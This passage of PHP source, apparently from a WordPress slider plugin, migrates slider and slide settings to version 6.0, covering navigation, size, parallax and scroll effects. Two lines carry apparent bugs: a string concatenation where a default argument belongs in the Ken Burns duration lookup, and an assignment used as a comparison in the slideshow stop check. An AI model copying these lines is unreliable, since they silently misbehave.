								'excludeReplies' => $this->_truefalse($slider->get_param('twitter-exclude-replies', false)),
								'imageOnly' => $this->_truefalse($slider->get_param('twitter-image-only', false)),
								'includeRetweets' => $this->_truefalse($slider->get_param('twitter-include-retweets', false)),
								'transient' => $slider->get_param('twitter-transient', 1200),
								'userId' => $slider->get_param('twitter-user-id', ''),
							),
							'vimeo' => array(
								'albumId' => $slider->get_param('vimeo-albumid', ''),
								'channelName' => $slider->get_param('vimeo-channelname', ''),
								'count' => $slider->get_param('vimeo-count', ''),
								'transient' => $slider->get_param('vimeo-transient', 1200),
								'groupName' => $slider->get_param('vimeo-groupname', ''),
								'typeSource' => $slider->get_param('vimeo-type-source', 'user'),
								'userName' => $slider->get_param('vimeo-username', ''),
							),
							'youtube' => array(
								'api' => $slider->get_param('youtube-api', ''),
								'channelId' => $slider->get_param('youtube-channel-id', ''),
								'count' => $slider->get_param('youtube-count', ''),
								'playList' => $slider->get_param('youtube-playlist', ''),
								'transient' => $slider->get_param('youtube-transient', 1200),
								'typeSource' => $slider->get_param('youtube-type-source', 'channel'),
							)
						);

						/* SLIDER DEFAULTS */
						$ms['def'] = array(
							'transition' => $slider->get_param('def-slide_transition', 'fade'),
							'transitionDuration' => $slider->get_param('def-transition_duration', 1000),
							'delay' => $slider->get_param('delay', 9000),
							'background' => array(
								'fit' => $slider->get_param('def-background_fit', 'cover'),
								'fitX' => $slider->get_param('def-bg_fit_x', 100),
								'fitY' => $slider->get_param('def-bg_fit_y', 100),
								'position' => $slider->get_param('def-bg_position', 'center center'),
								'positionX' => $slider->get_param('def-bg_position_x', 0),
								'positionY' => $slider->get_param('def-bg_position_y', 0),
								'repeat' => $slider->get_param('def-bg_repeat', 'no-repeat'),
								'imageSourceType' => $slider->get_param('def-image_source_type', 'full'),
							),
							'panZoom' => array(
								'set' => $this->_truefalse($slider->get_param('def-kenburn_effect', false)),
								'blurStart' => $slider->get_param('def-kb_blur_start', 0),
								'blurEnd' => $slider->get_param('def-kb_blur_end', 0),
								'duration' => $slider->get_param('def-kb_duration'. 10000),
								'ease' => $slider->get_param('def-kb_easing', 'none'),
								'fitEnd' => $slider->get_param('def-kb_end_fit', 100),
								'fitStart' => $slider->get_param('def-kb_start_fit', 100),
								'xEnd' => $slider->get_param('def-kb_end_offset_x', 0),
								'yEnd' => $slider->get_param('def-kb_end_offset_y', 0),
								'xStart' => $slider->get_param('def-kb_start_offset_x', 0),
								'yStart' => $slider->get_param('def-kb_start_offset_y', 0),
								'rotateStart' => $slider->get_param('def-kb_start_rotate', 0),
								'rotateEnd' => $slider->get_param('def-kb_end_rotate', 0),
							)
						);

						/* SLIDER SIZE */
						$ms['size'] = array(
							'respectAspectRatio' => $this->_truefalse($slider->get_param('auto_height', false)),
							'disableForceFullWidth' => $this->_truefalse($slider->get_param('autowidth_force', false)),
							'gridEQModule' => $this->_truefalse($slider->get_param('full_screen_align_force', false)),
							'custom' => array(
								'd' => true,
								'n' => $this->_truefalse($slider->get_param('enable_custom_size_notebook', false)),
								't' => $this->_truefalse($slider->get_param('enable_custom_size_tablet', false)),
								'm' => $this->_truefalse($slider->get_param('enable_custom_size_iphone', false)),
							),
							'minHeightFullScreen' => $slider->get_param('fullscreen_min_height', ''),
							'minHeight' => $min_height,
							'fullScreenOffsetContainer' => $slider->get_param('fullscreen_offset_container', ''),
							'fullScreenOffset' => $slider->get_param('fullscreen_offset_size', ''),
							'width' => array(
								'd' => intval($slider->get_param('width', 1240)),
								'n' => intval($slider->get_param('width_notebook', 1024)),
								't' => intval($slider->get_param('width_tablet', 778)),
								'm' => intval($slider->get_param('width_mobile', 480)),
							),
							'height' => array(
								'd' => intval($slider->get_param('height', 900)),
								'n' => intval($slider->get_param('height_notebook', 768)),
								't' => intval($slider->get_param('height_tablet', 960)),
								'm' => intval($slider->get_param('height_mobile', 720)),
							),
							'overflow' => $this->_truefalse($slider->get_param('main_overflow_hidden', false)),
							'maxWidth' => $slider->get_param('max_width', '')/*,
							'maxHeight' => $min_height*/
						);

						/* SLIDER CODES */
						$ms['codes'] = array(
							'css' => stripslashes(
								str_replace(
									array(
										'.tp-caption',
										'.tp-static-layers',
										'.tp-parallax-wrap',
										'.rev_column_bg',
										'.tp-revslider-slidesli',
										'active-revslide'
									),
									array(
										'.rs-layer',
										'rs-static-layers',
										'.rs-parallax-wrap',
										'rs-column-bg',
										'rs-slide',
										'active-rs-slide'
									),
									$slider->get_param('custom_css', '')
								)
							),
							'javascript' => stripslashes(
								str_replace(
									array(
										'.tp-caption',
										'.tp-static-layers',
										'.tp-parallax-wrap',
										'.rev_column_bg',
										'.tp-revslider-slidesli',
										'active-revslide'
									),
									array(
										'.rs-layer',
										'rs-static-layers',
										'.rs-parallax-wrap',
										'rs-column-bg',
										'rs-slide',
										'active-rs-slide'
									),
									$slider->get_param('custom_javascript', '')
								)
							),
						);

						/* CAROUSEL SETTINGS */
						$ms['carousel'] = array(
							'borderRadius' => $slider->get_param('carousel_borderr', 0),
							'borderRadiusUnit' => $slider->get_param('carousel_borderr_unit', 'px'),
							'ease' => $slider->get_param('carousel_easing', 'power3.inOut'),
							'fadeOut' => $this->_truefalse($slider->get_param('carousel_fadeout', true)),
							'scale' => $this->_truefalse($slider->get_param('carousel_scale', false)),
							'horizontal' => $slider->get_param('carousel_hposition', 'center'),
							'vertical' => $slider->get_param('carousel_vposition', 'center'),
							'infinity' => $this->_truefalse($slider->get_param('carousel_infinity', false)),
							'maxItems' => $slider->get_param('carousel_maxitems', 3),
							'maxRotation' => $slider->get_param('carousel_maxrotation', 0),
							'paddingTop' => $slider->get_param('carousel_padding_top', 0),
							'paddingBottom' => $slider->get_param('carousel_padding_bottom', 0),
							'rotation' => $this->_truefalse($slider->get_param('carousel_rotation', 0)),
							'scaleDown' => $slider->get_param('carousel_scaledown', 50),
							'space' => $slider->get_param('carousel_space', 0),
							'speed' => $slider->get_param('carousel_speed', 800),
							'stretch' => $this->_truefalse($slider->get_param('carousel_stretch', false)),
							'varyFade' => $this->_truefalse($slider->get_param('carousel_varyfade', false)),
							'varyRotate' => $this->_truefalse($slider->get_param('carousel_varyrotate', false)),
							'varyScale' => $this->_truefalse($slider->get_param('carousel_varyscale', false)),
							'showAllLayers' => $this->_truefalse($slider->get_param('showalllayers_carousel', false)),
						);

						/* HERO SETTINGS */
						$ms['hero'] = array(
							'activeSlide' => $slider->get_param('hero_active', -1),
						);

						/* SLIDER LAYOUT  - BG, LOADER, POSITION */
						$ms['layout'] = array(
							'bg' => array(
								'color' => $color_picker->correctValue($slider->get_param('background_color', 'transparent')),
								'padding' => $slider->get_param('padding', 0),
								'dottedOverlay' => $slider->get_param('background_dotted_overlay', 'none'),
								'shadow' => $slider->get_param('shadow_type', 0),
								'useImage' => $this->_truefalse($slider->get_param('show_background_image', false)),
								'image' => $slider->get_param('background_image', ''),
								'fit' => $slider->get_param('bg_fit', 'cover'),
								'position' => $slider->get_param('bg_position', 'center center'),
								'repeat' => $slider->get_param('bg_repeat', 'no-repeat'),
							),
							'spinner' => array(
								'color' => $slider->get_param('spinner_color', '#ffffff'),
								'type' => $slider->get_param('use_spinner', '5'),
							),
							'position' => array(
								'marginTop' => $slider->get_param('margin_top', 0),
								'marginBottom' => $slider->get_param('margin_bottom', 0),
								'marginLeft' => $slider->get_param('margin_left', 0),
								'marginRight' => $slider->get_param('margin_right', 0),
								'align' => $slider->get_param('position', 'center'),
							),
						);

						/* SLIDER VISIBILITY */
						$ms['visibility'] = array(
							'hideSelectedLayersUnderLimit' => $slider->get_param('hide_defined_layers_under', 0),
							'hideAllLayersUnderLimit' => $slider->get_param('hide_all_layers_under', 0),
							'hideSliderUnderLimit' => $slider->get_param('hide_slider_under', 0),
						);
						
						/* GENERAL SETTINGS */
						
						// added for progress bar color conversions
						$pbcolor = $slider->get_param('progressbar_color', '#FFFFFF');
						$pbopac = $slider->get_param('progress_opa', false);
						
						// see comment in ColorPicker class for new "correctValue" function
						$pbcolor = $color_picker->correctValue($pbcolor, $pbopac);
						
						$ms['general'] = array(
							'slideshow' => array(
								'stopOnHover' => $this->_truefalse($slider->get_param('stop_on_hover', false)),
								'stopSlider' => $this->_truefalse($slider->get_param('stop_slider', false)),
								'stopAfterLoops' => $slider->get_param('stop_after_loops', 0),
								'stopAtSlide' => $slider->get_param('stop_at_slide', 1),
								'shuffle' => $this->_truefalse($slider->get_param('shuffle', false)),
								'loopSingle' => $this->_truefalse($slider->get_param('loop_slide', false)),
								'viewPort' => $this->_truefalse($slider->get_param('label_viewport', false)),
								'viewPortStart' => $slider->get_param('viewport_start', 'wait'),
								'viewPortArea' => (100-intval($slider->get_param('viewport_area', 60)))."%",
								'presetSliderHeight' => $this->_truefalse($slider->get_param('label_presetheight', false)),
								'initDelay' => $slider->get_param('start_js_after_delay', 0),
								'waitForInit' => $this->_truefalse($slider->get_param('waitforinit', false)),
								'slideShow' => true
							),
							'progressbar' => array(
								'set' => $this->_truefalse($slider->get_param('enable_progressbar', true)),
								'height' => $slider->get_param('progress_height', 5),
								'position' => $slider->get_param('show_timerbar', 'bottom'),
								'color' => $pbcolor,
							),
							'firstSlide' => array(
								'set' => $this->_truefalse($slider->get_param('first_transition_active', false)),
								'duration' => $slider->get_param('first_transition_duration', 300),
								'slotAmount' => $slider->get_param('first_transition_slot_amount', 7),
								'type' => $slider->get_param('first_transition_type', 'fade'),
								'alternativeFirstSlideSet' => $this->_truefalse($slider->get_param('start_with_slide_enable', false)),
								'alternativeFirstSlide' => $slider->get_param('start_with_slide', 1),
							),
							'layerSelection' => $this->_truefalse($slider->get_param('def-layer_selection', false)),
							'lazyLoad' => $slider->get_param('lazy_load_type', 'none'),
							'nextSlideOnFocus' => $this->_truefalse($slider->get_param('next_slide_on_window_focus', false)),
							'disableFocusListener' => $this->_truefalse($slider->get_param('disable_focus_listener', false)),
							'disableOnMobile' => $this->_truefalse($slider->get_param('disable_on_mobile', false)),
							'autoPlayVideoOnMobile' => $this->_truefalse($slider->get_param('allow_android_html5_autoplay', true)),
							'disablePanZoomMobile' => $this->_truefalse($slider->get_param('disable_kenburns_on_mobile', false)),
							'useWPML' => $this->_truefalse($slider->get_param('use_wpml', false)),
						);

						if($ms['general']['lazyLoad'] === false){
							$ms['general']['lazyLoad'] = ($slider->get_param('lazy_load', false) == 'on') ? 'all' : 'none';
						}

						/* CHANGE HANDLE OF NAVIGATIONS TO THEIR IDS */
						$slider_navigations = array(
							'arrows' => $slider->get_param('navigation_arrow_style'),
							'thumbs' => $slider->get_param('thumbnails_style'),
							'tabs' => $slider->get_param('tabs_style'),
							'bullets' => $slider->get_param('navigation_bullets_style'),
						);

						foreach($slider_navigations as $nt => $sn){
							if($sn == ''){
								continue;
							}

							foreach($navigations[$nt] as $csnid => $csn){
								if($csn['handle'] == $sn){
									$slider_navigations[$nt] = $csnid;
									break;
								}
							}
						}
						
						
						$twc = $slider->get_param('thumbnails_wrapper_color', 'transparent');
						$two = $slider->get_param('thumbnails_wrapper_opacity', false);
						
						// see comment in ColorPicker class for new "correctValue" function
						$thumbWrapperColor = $color_picker->correctValue($twc, $two);
						
						$tawc = $slider->get_param('tabs_wrapper_color', 'transparent');
						$tawo = $slider->get_param('tabs_wrapper_opacity', false);
						
						// see comment in ColorPicker class for new "correctValue" function
						$tabsWrapperColor = $color_picker->correctValue($tawc, $tawo);
						
						/**
						 * switch these four values around, as they are the opposite in v6
						 **/
						$aao = $this->_truefalse($slider->get_param('arrows_always_on', true));
						$thao = $this->_truefalse($slider->get_param('thumbs_always_on', true));
						$taao = $this->_truefalse($slider->get_param('tabs_always_on', true));
						$bao = $this->_truefalse($slider->get_param('bullets_always_on', true));
						$aao = ($aao === true) ? false : true;
						$thao = ($thao === true) ? false : true;
						$taao = ($taao === true) ? false : true;
						$bao = ($bao === true) ? false : true;
						
						/* SLIDER NAVIGATION */
						$ms['nav'] = array(
							'preview' => array(
								'width' => $slider->get_param('previewimage_width', 100),
								'height' => $slider->get_param('previewimage_height', 50),
							),
							'swipe' => array(
								'set' => $this->_truefalse($slider->get_param('touchenabled', false)),
								'setOnDesktop' => $this->_truefalse($slider->get_param('touchenabled_desktop', false)),
								'blockDragVertical' => $this->_truefalse($slider->get_param('drag_block_vertical', false)),
								'direction' => $slider->get_param('swipe_direction', 'horizontal'),
								'minTouch' => $slider->get_param('swipe_min_touches', 1),
								'velocity' => $slider->get_param('swipe_velocity', 75),
							),
							'keyboard' => array(
								'set' => $this->_truefalse($slider->get_param('keyboard_navigation', false)),
								'direction' => $slider->get_param('keyboard_direction', 'horizontal'),
							),
							'mouse' => array(
								'set' => $this->_truefalse($slider->get_param('mousescroll_navigation', false)),
								'reverse' => $slider->get_param('mousescroll_navigation_reverse', 'default'),
							),
							'arrows' => array(
								'set' => $this->_truefalse($slider->get_param('enable_arrows', false)),
								'rtl' => $this->_truefalse($slider->get_param('rtl_arrows', false)),
								'style' => $this->get_val($slider_navigations, 'arrows', 'new-bullet-bar'),
								'preset' => $slider->get_param('navigation_arrows_preset', 'default'),
								'presets' => new stdClass(),
								'alwaysOn' => $aao,
								'hideDelay' => $slider->get_param('hide_arrows', 200),
								'hideDelayMobile' => $slider->get_param('hide_arrows_mobile', 1200),
								'hideOver' => $this->_truefalse($slider->get_param('hide_arrows_over', false)),
								'hideOverLimit' => $slider->get_param('arrows_over_hidden', 0),
								'hideUnder' => $this->_truefalse($slider->get_param('hide_arrows_on_mobile', false)),
								'hideUnderLimit' => $slider->get_param('arrows_under_hidden', 778),
								'left' => array(
									'horizontal' => $slider->get_param('leftarrow_align_hor', 'left'),
									'vertical' => $slider->get_param('leftarrow_align_vert', 'center'),
									'offsetX' => $slider->get_param('leftarrow_offset_hor', 30),
									'offsetY' => $slider->get_param('leftarrow_offset_vert', 0),
									'align' => $slider->get_param('leftarrow_position', 'slider'),
								),
								'right' => array(
									'horizontal' => $slider->get_param('rightarrow_align_hor', 'left'),
									'vertical' => $slider->get_param('rightarrow_align_vert', 'center'),
									'offsetX' => $slider->get_param('rightarrow_offset_hor', 30),
									'offsetY' => $slider->get_param('rightarrow_offset_vert', 0),
									'align' => $slider->get_param('rightarrow_position', 'slider'),
								),
							),
							'thumbs' => array(
								'set' => $this->_truefalse($slider->get_param('enable_thumbnails', false)),
								'rtl' => $this->_truefalse($slider->get_param('rtl_thumbnails', false)),
								'style' => $this->get_val($slider_navigations, 'thumbs', 'new-bullet-bar'),
								'preset' => $slider->get_param('navigation_thumbs_preset', 'default'),
								'presets' => new stdClass(),
								'alwaysOn' => $thao,
								'hideDelay' => $slider->get_param('hide_thumbs', 200),
								'hideDelayMobile' => $slider->get_param('hide_thumbs_mobile', 1200),
								'hideOver' => $this->_truefalse($slider->get_param('hide_thumbs_over', false)),
								'hideOverLimit' => $slider->get_param('thumbs_over_hidden', 0),
								'hideUnder' => $this->_truefalse($slider->get_param('hide_thumbs_on_mobile', false)),
								'hideUnderLimit' => $slider->get_param('thumbs_under_hidden', 778),
								'spanWrapper' => $this->_truefalse($slider->get_param('span_thumbnails_wrapper', false)),
								'horizontal' => $slider->get_param('thumbnails_align_hor', 'center'),
								'vertical' => $slider->get_param('thumbnails_align_vert', 'bottom'),
								'amount' => $slider->get_param('thumb_amount', 5),
								'direction' => $slider->get_param('thumbnail_direction', 'horizontal'),
								'height' => $slider->get_param('thumb_height', 50),
								'width' => $slider->get_param('thumb_width', 100),
								'widthMin' => $slider->get_param('thumb_width_min', 100),
								'innerOuter' => $slider->get_param('thumbnails_inner_outer', 'inner'),
								'offsetX' => $slider->get_param('thumbnails_offset_hor', 0),
								'offsetY' => $slider->get_param('thumbnails_offset_vert', 20),
								'space' => $slider->get_param('thumbnails_space', 5),
								'align' => $slider->get_param('thumbnails_position', 'slider'),
								'padding' => $slider->get_param('thumbnails_padding', 5),
								'wrapperColor' => $thumbWrapperColor //$slider->get_param('thumbnails_wrapper_color', 'transparent'),
							),
							'tabs' => array(
								'set' => $this->_truefalse($slider->get_param('enable_tabs', false)),
								'rtl' => $this->_truefalse($slider->get_param('rtl_tabs', false)),
								'style' => $this->get_val($slider_navigations, 'tabs', 'round'),
								'preset' => $slider->get_param('navigation_tabs_preset', 'default'),
								'presets' => new stdClass(),
								'alwaysOn' => $taao,
								'hideDelay' => $slider->get_param('hide_tabs', 200),
								'hideDelayMobile' => $slider->get_param('hide_tabs_mobile', 1200),
								'hideOver' => $this->_truefalse($slider->get_param('hide_tabs_over', false)),
								'hideOverLimit' => $slider->get_param('tabs_over_hidden', 0),
								'hideUnder' => $this->_truefalse($slider->get_param('hide_tabs_on_mobile', false)),
								'hideUnderLimit' => $slider->get_param('tabs_under_hidden', 778),
								'spanWrapper' => $this->_truefalse($slider->get_param('span_tabs_wrapper', false)),
								'horizontal' => $slider->get_param('tabs_align_hor', 'center'),
								'vertical' => $slider->get_param('tabs_align_vert', 'bottom'),
								'amount' => $slider->get_param('tabs_amount', 5),
								'direction' => $slider->get_param('tabs_direction', 'horizontal'),
								'height' => $slider->get_param('tabs_height', 50),
								'width' => $slider->get_param('tabs_width', 100),
								'widthMin' => $slider->get_param('tabs_width_min', 100),
								'innerOuter' => $slider->get_param('tabs_inner_outer', 'inner'),
								'offsetX' => $slider->get_param('tabs_offset_hor', 0),
								'offsetY' => $slider->get_param('tabs_offset_vert', 20),
								'space' => $slider->get_param('tabs_space', 5),
								'align' => $slider->get_param('tabs_position', 'slider'),
								'padding' => $slider->get_param('tabs_padding', 5),
								'wrapperColor' => $tabsWrapperColor //$slider->get_param('tabs_wrapper_color', 'transparent'),
							),
							'bullets' => array(
								'set' => $this->_truefalse($slider->get_param('enable_bullets'), false),
								'rtl' => $this->_truefalse($slider->get_param('rtl_bullets'), false),
								'style' => $this->get_val($slider_navigations, 'bullets', 'round'),
								'preset' => $slider->get_param('navigation_bullets_preset', 'default'),
								'presets' => new stdClass(),
								'alwaysOn' => $bao,
								'horizontal' => $slider->get_param('bullets_align_hor', 'center'),
								'vertical' => $slider->get_param('bullets_align_vert', 'bottom'),
								'direction' => $slider->get_param('bullets_direction', 'horizontal'),
								'offsetX' => $slider->get_param('bullets_offset_hor', 0),
								'offsetY' => $slider->get_param('bullets_offset_vert', 20),
								'align' => $slider->get_param('bullets_position', 'slider'),
								'space' => $slider->get_param('bullets_space', 5),
								'hideDelay' => $slider->get_param('hide_bullets', 200),
								'hideDelayMobile' => $slider->get_param('hide_bullets_mobile', 1200),
								'hideOver' => $this->_truefalse($slider->get_param('hide_bullets_over', false)),
								'hideOverLimit' => $slider->get_param('bullets_over_hidden', 0),
								'hideUnder' => $this->_truefalse($slider->get_param('hide_bullets_on_mobile', false)),
								'hideUnderLimit' => $slider->get_param('bullets_under_hidden', 778),
							),
						);
						
						$thumbs_io = $this->get_val($ms, array('nav', 'thumbs', 'innerOuter'), 'inner');
						if(in_array($thumbs_io, array('outer-left', 'outer-right'))){
							$ms['nav']['thumbs']['innerOuter'] = 'outer-vertical';
							$ms['nav']['thumbs']['horizontal'] = ($thumbs_io === 'outer-left') ? 'left' : 'right';
						}elseif(in_array($thumbs_io, array('outer-top', 'outer-bottom'))){
							$ms['nav']['thumbs']['innerOuter'] = 'outer-horizontal';
							$ms['nav']['thumbs']['vertical'] = ($thumbs_io === 'outer-top') ? 'top' : 'bottom';
						}
						$tabs_io = $this->get_val($ms, array('nav', 'tabs', 'innerOuter'), 'inner');
						if(in_array($tabs_io, array('outer-left', 'outer-right'))){
							$ms['nav']['tabs']['innerOuter'] = 'outer-vertical';
							$ms['nav']['tabs']['horizontal'] = ($tabs_io === 'outer-left') ? 'left' : 'right';
						}elseif(in_array($tabs_io, array('outer-top', 'outer-bottom'))){
							$ms['nav']['tabs']['innerOuter'] = 'outer-horizontal';
							$ms['nav']['tabs']['vertical'] = ($tabs_io === 'outer-top') ? 'top' : 'bottom';
						}
						
						/* TROUBLESHOOTING & FALLBACKS */
						$ms['troubleshooting'] = array(
							'ignoreHeightChanges' => $this->_truefalse($slider->get_param('ignore_height_changes')),
							'ignoreHeightChangesUnderLimit' => $slider->get_param('ignore_height_changes_px', 0),
							'alternateImageType' => $slider->get_param('show_alternative_type'),
							'alternateURL' => $slider->get_param('show_alternate_image'),
							'alternateURLId' => $this->get_image_id_by_url($slider->get_param('show_alternate_image')),
							'jsNoConflict' => $this->_truefalse($slider->get_param('jquery_noconflict')),
							'jsInBody' => $this->_truefalse($slider->get_param('js_to_body')),
							'outPutFilter' => $slider->get_param('output_type'),
							'debugMode' => $this->_truefalse($slider->get_param('jquery_debugmode')),
							'simplify_ie8_ios4' => $this->_truefalse($slider->get_param('simplify_ie8_ios4')),
						);

						/* PARALLAX SETTINGS */
						$ms['parallax'] = array(
							'set' => $this->_truefalse($slider->get_param('use_parallax', false)),
							'setDDD' => $this->_truefalse($slider->get_param('ddd_parallax', false)),
							'disableOnMobile' => $this->_truefalse($slider->get_param('disable_parallax_mobile', false)),
							'levels' => array(
								$slider->get_param('parallax_level_1', 5),
								$slider->get_param('parallax_level_2', 10),
								$slider->get_param('parallax_level_3', 15),
								$slider->get_param('parallax_level_4', 20),
								$slider->get_param('parallax_level_5', 25),
								$slider->get_param('parallax_level_6', 30),
								$slider->get_param('parallax_level_7', 35),
								$slider->get_param('parallax_level_8', 40),
								$slider->get_param('parallax_level_9', 45),
								$slider->get_param('parallax_level_10', 46),
								$slider->get_param('parallax_level_11', 47),
								$slider->get_param('parallax_level_12', 48),
								$slider->get_param('parallax_level_13', 49),
								$slider->get_param('parallax_level_14', 50),
								$slider->get_param('parallax_level_15', 51),
								$slider->get_param('parallax_level_16', 30),
							),
							'ddd' => array(
								'BGFreeze' => $this->_truefalse($slider->get_param('ddd_parallax_bgfreeze', false)),
								'layerOverflow' => $this->_truefalse($slider->get_param('ddd_parallax_layer_overflow', false)),
								'overflow' => $this->_truefalse($slider->get_param('ddd_parallax_overflow', false)),
								'shadow' => $this->_truefalse($slider->get_param('ddd_parallax_shadow', false)),
								'zCorrection' => $slider->get_param('ddd_parallax_zcorrection', 65),
							),
							'mouse' => array(
								'speed' => $slider->get_param('parallax_speed', 1000),
								'bgSpeed' => $slider->get_param('parallax_bg_speed', 0),
								'layersSpeed' => $slider->get_param('parallax_ls_speed', 0),
								'origo' => $slider->get_param('parallax_origo', 'slideCenter'),
								'type' => $slider->get_param('parallax_type', 'scroll'),
							),
						);

						$ms['parallax']['mouse']['type'] = ($ms['parallax']['mouse']['type'] === 'mouse+scroll') ? 'mousescroll' : $ms['parallax']['mouse']['type'];

						/* SCROLLEFFECTS */
						$ms['scrolleffects'] = array(
							'set' => ($this->_truefalse($slider->get_param('blur_scrolleffect', false)) === true || $this->_truefalse($slider->get_param('fade_scrolleffect', false)) === true || $this->_truefalse($slider->get_param('grayscale_scrolleffect', false)) === true) ? true : false,
							'setBlur' => $this->_truefalse($slider->get_param('blur_scrolleffect', false)),
							'setFade' => $this->_truefalse($slider->get_param('fade_scrolleffect', false)),
							'setGrayScale' => $this->_truefalse($slider->get_param('grayscale_scrolleffect', false)),
							'bg' => $this->_truefalse($slider->get_param('scrolleffect_bg', false)),
							'direction' => $slider->get_param('scrolleffect_direction', 'both'),
							'maxBlur' => $slider->get_param('scrolleffect_maxblur', 10),
							'multiplicator' => $slider->get_param('scrolleffect_multiplicator', '1.35'),
							'multiplicatorLayers' => $slider->get_param('scrolleffect_multiplicator_layers', '1.3'),
							'disableOnMobile' => $this->_truefalse($slider->get_param('scrolleffect_off_mobile', false)),
							'tilt' => $slider->get_param('scrolleffect_tilt', '30')
						);
						
						if($ms['scrolleffects']['set'] === true && $ms['type'] === 'hero'){ //existed only for hero Slider
							/**
							 * if on_layers == true && on_static_layers == false && on_parallax_layers == false && on_parallax_static_layers == false
							 * then slider.scrolleffect.layers = false
							 * then set all layer that are not static or parallax effects.effect = true
							 **/
							$this->on_layers = $this->_truefalse($slider->get_param('scrolleffect_layers', false));
							/**
							 * if on_layers == false && on_static_layers == true && on_parallax_layers == false && on_parallax_static_layers == false
							 * then slider.scrolleffect.layers = false
							 * then set all static layer that are not parallax effects.effect = true
							 **/
							$this->on_static_layers = $this->_truefalse($slider->get_param('scrolleffect_static_layers', false));
							/**
							 * if on_layers == false && on_static_layers == false && on_parallax_layers == true && on_parallax_static_layers == false
							 * then slider.scrolleffect.layers = false
							 * then set all layer that are not static and that are parallax effects.effect = true
							 **/
							$this->on_parallax_layers = $this->_truefalse($slider->get_param('scrolleffect_parallax_layers', false));
							/**
							 * if on_layers == false && on_static_layers == false && on_parallax_layers == false && on_parallax_static_layers == true
							 * then slider.scrolleffect.layers = false
							 * then set all layer that are static and parallax effects.effect = true
							 **/
							$this->on_parallax_static_layers = $this->_truefalse($slider->get_param('scrolleffect_static_parallax_layers', false));
						}else{
							$this->on_layers = false;
							$this->on_static_layers = false;
							$this->on_parallax_layers = false;
							$this->on_parallax_static_layers = false;
						}
						
						$this->on_counter = 0;
						
						if($this->on_layers === true) $this->on_counter++;
						if($this->on_static_layers === true) $this->on_counter++;
						if($this->on_parallax_layers === true) $this->on_counter++;
						if($this->on_parallax_static_layers === true) $this->on_counter++;
						
						/**
						 * if more than one is active, change the behavior by
						 * set slider.scrolleffect.layers = true
						 * set layers effects.effect = true on layers that are NOT meeting the requirements
						 **/
						$ms['scrolleffects']['layers'] = ($this->on_counter >= 2) ? true : false;
						
						//set this value so that on the layers this can be used to track if we are a parallax layer
						$this->parallax_slider = $this->_truefalse($slider->get_param('use_parallax', false));
						
						/* COLLECT CUSTOM SETTINGS FOR NAVIGATION FROM OLDER VERSION */
						$params = $slider->get_params();
						$_presets = $this->transform_preset_to_6_0_0($params, 'def');
						if(!empty($_presets)){
							foreach($_presets as $_pkey => $_preset){
								if(!empty($_preset)){
									$ms['nav'][$_pkey]['presets'] = (!isset($ms['nav'][$_pkey]['presets'])) ? new stdClass() : $ms['nav'][$_pkey]['presets'];
									foreach($_preset as $_pk => $_pv){
										$ms['nav'][$_pkey]['presets']->$_pk = $_pv;
									}
								}
							}
						}
						
						if($ms['general']['slideshow']['stopAfterLoops'] == 0 && $ms['general']['slideshow']['stopAtSlide'] == 1 && $ms['general']['slideshow']['stopSlider'] = false){
							$ms['general']['slideshow']['slideShow'] = false;
						}
						
					} // END OF MAX AMOUNT OF PARAMS

				}else{
					$ms = $slider->get_params();
				}
				$slider->update_params($ms, true);
				$slider->update_settings(array('version' => '6.0.0'));
			}
		}
	}

	/**
	 * Update the handle from ph-NAME-HANDLE-slide/def to new shorter version
	 * @since 6.0
	 * @end: slide if slide, def if slider handle
	 */
	public function transform_preset_to_6_0_0($params, $end = 'slide'){
		$types	= array('arrows', 'bullets', 'tabs', 'thumbs');
		$preset	= array('arrows' => array(), 'bullets' => array(), 'tabs' => array(), 'thumbs' => array());
		$repl	= array('color-rgba', 'custom', 'color', 'font_family'); //old existing types
		
		if(!empty($params)){
			foreach($params as $k => $v){
				if(strpos($k, 'ph-') !== 0) continue; //check if we start with 'ph-'
				foreach($types as $type){
					if(strpos($k, '-'.$type.'-') === false) continue; //check if we are -arrows- ect

					$f = false;
					$new_k = '';
					foreach($repl as $r){ //check if we end with -slide or -def
						$l = strlen('-'.$r.'-'.$end) * -1;
						if(substr($k, $l) === '-'.$r.'-'.$end){
							$f = true;
							$new_k = substr($k, 0, $l);
							break;
						} 
					}
					if($f === false) continue;

					if($this->_truefalse($v) !== true) continue; //it is set to true, so search for the counterpart
					
					//okay all passed, now check the value of the corresponding value field
					$search = substr($k, 0, strlen('-'.$end) * -1);
					$value = $this->get_val($params, $search, '');
					
					$t = explode('-'.$type.'-', $new_k);
					$handle = end($t);
					$preset[$type][$handle.'-def'] = true; //always set to -def here, -slide does not exist in 6.0.0
					$preset[$type][$handle] = $value;
				}
			}
		}
		return $preset;
	}
	
	/**
	 * Change Slide Settings to version 6.0
	 * @since 6.0
	 */
	public function change_slide_settings_to_6_0($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		$sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false

		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$slides = $slider->get_slides(false, true);

				$static_id = $sl->get_static_slide_id($slider->get_id());
				if($static_id !== false){
					$msl = new RevSliderSlide();
					if(strpos($static_id, 'static_') === false){
						$static_id = 'static_'. $static_id; //$slider->get_id();
					}
					$msl->init_by_id($static_id);
					if($msl->get_id() !== ''){
						$slides = array_merge($slides, array($msl));
					}
				}

				$slide_nr = 1;
				if(!empty($slides) && is_array($slides)){
					foreach($slides as $slide){
						$settings = $slide->get_settings();
						$ms = array();

						if(version_compare($this->get_val($settings, 'version', '1.0.0'), '6.0.0', '<')){
							$ms = $this->migrate_slide_to_6_0($slide, $slider, $slide_nr);
							
							$ms = $this->_simplify_slides($ms);

							$slide->settings['version'] = '6.0.0';

							$slide->set_params($ms);
							$slide->save_settings();
							$slide->save_params();
						}
					}
				}
			}
		}
	}

	
	/**
	 * Change Slide Settings to version 6.0
	 * @since 6.0
	 */
	public function migrate_slide_to_6_0($slide, $slider = false, $slide_nr = false){
		if($slider === false) $slider = new RevSliderSlider();
		$color_picker = new RSColorpicker();
		$ms = array();

		$ms['addOns'] = $this->migrate_slide_AddOn($slide, $slider, $slide_nr);

		$ms['static'] = array(
			'isstatic' => $this->_truefalse($slide->get_param('static', false)),
			'overflow' => $slide->get_param('staticoverflow', 'hidden'),
			'position' => $slide->get_param('staticlayersposition', 'front'),
		);
		$ms['title'] = $slide->get_param('title', 'New Slide');
		$ms['child'] = array(
			'parentId' => $slide->get_param('parentid', ''),
			'language' => $slide->get_param('lang', ''),
		);

		//CHECK FOR STREAMS
		$streambothcover = $this->_truefalse($slide->get_param('stream_do_cover_both'));
